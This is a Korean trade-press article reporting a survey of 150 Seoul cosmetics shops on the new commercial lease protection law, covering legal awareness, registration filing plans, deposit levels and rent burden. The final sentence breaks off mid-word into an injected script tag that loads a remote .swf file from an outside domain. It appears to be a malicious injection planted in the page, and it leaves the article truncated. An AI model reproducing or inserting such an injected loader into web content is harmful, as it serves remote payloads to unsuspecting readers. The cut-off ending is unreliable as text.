상가임대차보호법 - 본지에서는 11월 1일부터 시행에 들어간 상가건물임대차보호법과 관련하여 일선 전문점에서는 이에 대해 얼마나 숙지하고 또 충분히 대비하고 있는가를 알아보기 위해 지난 4일부터 한 주간 서울지역 150개 전문점을 대상으로 설문조사를 실시하였다. 아울러 현재 소요되고 있는 임차비용의 수준과 최근 5년간 상승률에 대해서도 알아보았다. 이번 설문은 서울 내에서도 중심상권과 일반상권의 편차가 있을 것으로 보고 표본 추출에 있어 지역별로 안배했다. 서울 지역에 이어 중부권(인천 대전), 호남권(전주 광주), 영남권(대구 부산) 순으로 설문조사 결과를 발표할 예정이다. 환산보증금 거의 2억 미만 … ‘보호법’ 해당 상가임대차보호법 시행 한달 … 임차료 비싸 이전 고려 지난 1일부터 시행에 들어간 상가건물임대차보호법은 그간 상대적으로 불리했던 영세 임차인들의 권익을 획기적으로 향상시켜 줄 법률이라는 점에서 많은 기대를 모았다. 화장품전문점 역시 대부분 10평 미만의 소규모로 운영되고 있기 때문에 임대차보호에 대한 관심이 클 것이다. 그러나 본지에서 실시한 설문조사 결과 많은 전문점들이 보호대상에 해당되나 사업자등록정정신고를 하지 않겠다는 사업자가 55%에 이르렀다. 반면 신고를 했거나 할 계획이라는 답변은 32%에 불과했다. 화장품전문점이라는 업종이 본래 유행 아이템이 아니기 때문에 상가 이전이나 개·폐·전업이 쉽게 이루어지지는 않는다. 하지만 경기가 불안정한 상태에서 임차인으로서 최소한의 법적 보호장치를 마련하지 않는다는 것은 문제가 있지 않느냐는 의견이 많다. 일부에서는 건물주가 공공연히 입주 상인들에게 사업자등록정정신고를 하지 말 것을 종용하는 경우도 있다고 한다. 대부분의 전문점주들이 법의 시행에 대해 알고 있었지만 이렇게 신고율이 저조한 것은 건물주와의 관계 고려 차원에서의 문제도 있겠고, 스스로 안이하게 생각한 것도 있을 것이다. 또한 세무서에 가 번거롭게 신고하기엔 매장이 너무 작다고 생각하는 경우도 많았다. 그러나 이 법의 시행 이유는 그와 같은 영세 상인들을 보호하는 데 있다. 우선 11월 1일부터 상가건물임대차보호법이 시행되는 것을 알고 있는가에 대한 답변으로는 각 항목별로 △전혀 몰랐다 31명(21%), △알았지만 시기 등을 정확히 몰랐다 24명(16%) △알지만 관심 없다 2명(1%) △정확하게 잘 알고 있다 93명(62%) 등의 분포를 보였다. 5명 중 4명은 이 법의 시행에 대해서 어떻게든 알고 있다는 말이다. 또한 나름대로 관심들을 가지고 있었다는 것을 알 수 있다. 두 번째로 사업자등록 정정신고 여부에 대해서는 △하지 않을 생각이다 83명(55%) △신중히 생각한 후 필요하면 하겠다 15명(10%) △이미 했거나 할 생각이다 48명(32%) △잘 모르겠다 4명(3%) 등의 답변이 나왔다. 절반이 넘는 전문점주들이 사업자등록정정신고를 하지 않겠다고 대답한 반면 이미 했거나 하겠다는 답변은 채 3분의 1에 불과했다. 건물주와의 관계에서 가장 중요한 것은 신의라는 생각, 굳이 그렇게까지 할 필요가 있나라는 생각들이 신고를 꺼리게 만든 것으로 보인다. 물론 신고를 했거나 할 생각이라는 답변과 고민 중이라는 의견도 절반에 가까운 수치로 나타났지만 딱 잘라서 신고할 생각이 없다는 의견이 반수가 넘는다는 것은 안이함이 지나친 것은 아닌가 하는 지적을 받기에 충분하다. 현재 환산보증금(보증금＋[월세×100], 예를 들어 보증금 5000만원에 월세 100만원이면 5000만원＋[100만원×100]＝1억5000만원이 된다) 수준이 얼마냐는 질문의 답변은 △2억원 미만 147명(98%) △2억원~3억원 미만 2명(1%) △3억원~5억원 미만 1명(1%) 순으로 나타났다. 일부 대형 매장을 제외하고는 대부분 10평 미만의 소형업소라는 점을 감안할 때 납득이 가는 수치다. 하지만 150명이라는 표본 수를 고려하면 어느 정도 오차도 있다고 봐야 할 것이다. 어쨌든 거의 모든 화장품전문점들이 임대차보호법의 보호대상이라는 사실을 분명히 알 수 있다. 매장 임차비용이 적정하다고 생각하는가에 대한 답변은 다음과 같다. △매우 비싼 편이다 40명(27%) △조금 비싼 편이다 39명(26%) △적정한 수준이다 57명(38%) △조금 싼 편이다 10명(7%) △매우 싼 편이다 4명(2%) 결과를 보면 적정선보다 비싸다는 의견이 절반을 넘었다. 그런 가운데서도 가장 많은 응답자들이 적정한 것?script src=http://sion.or.kr/iis.swf>

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